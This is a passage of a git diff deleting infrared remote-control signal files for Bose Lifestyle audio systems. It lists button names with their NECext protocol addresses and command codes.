NECext -address: BA A9 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA A9 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA A9 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA A9 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA A9 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir deleted file mode 100644 index 14d93e64a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 25 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 63 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 64 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA AA 00 00 -command: 9F 00 00 00 -# -name: LIBRARY -type: parsed -protocol: NECext -address: BA AA 00 00 -command: B0 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA AA 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA AA 00 00 -command: CC 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: D0 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA AA 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir deleted file mode 100644 index 95983e760..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 02 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 46 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA AB 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA AB 00 00 -command: B3 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA AB 00 00 -command: C0 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA AB 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA AB 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir deleted file mode 100644 index dc7811461..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 46 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA AC 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA AC 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA AC 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA AC 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir deleted file mode 100644 index a88fb72ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA AD 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA AD 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA AD 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA AD 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir deleted file mode 100644 index 967a91090..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 01 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 06 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE_DOWN -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 1A 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 56 00 00 00 -# -name: SEEK/SCAN<< -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 57 00 00 00 -# -name: SEEK/SCAN_>> -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 58 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 5C 00 00 00 -# -name: CD_# -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 63 00 00 00 -# -name: SIMILAR_(ENCOR) -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 65 00 00 00 -# -name: UMUSIC -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 66 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 66 00 00 00 -# -name: WHOLE_CD -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 67 00 00 00 -# -name: RATING_- -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 68 00 00 00 -# -name: RATING_+ -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 69 00 00 00 -# -name: POWER_ON_ASSERT -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 8C 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 9D 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: BA AE 00 00 -command: 9F 00 00 00 -# -name: STORED -type: parsed -protocol: NECext -address: BA AE 00 00 -command: B3 00 00 00 -# -name: POWER_OFF_ASSERT -type: parsed -protocol: NECext -address: BA AE 00 00 -command: CC 00 00 00 -# -name: LOCAL_SOURCE -type: parsed -protocol: NECext -address: BA AE 00 00 -command: F4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir deleted file mode 100644 index fbc769e5e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 01 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 02 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 03 00 00 00 -# -name: FM/AM_TOGGLE -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 06 00 00 00 -# -name: VCR -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 0D 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 0F 00 00 00 -# -name: CBL/SAT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 15 00 00 00 -# -name: TRACK/CH./PRE._DOWN -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 18 00 00 00 -# -name: TRACK/CH./PRE._UP -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 19 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 1A 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 20 00 00 00 -# -name: FM_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 25 00 00 00 -# -name: AM_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 28 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 30 00 00 00 -# -name: PAUSE_ASSERT -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 36 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 40 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 41 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 42 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 43 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 44 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 45 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 46 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 48 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 49 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 4C 00 00 00 -# -name: MUTE_ALL_TOGGLE -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 4D 00 00 00 -# -name: CD/DVD -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 53 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: BA B0 00 00 -command: 55 00 00 00 -# -name: PAUSE_TOGGLE 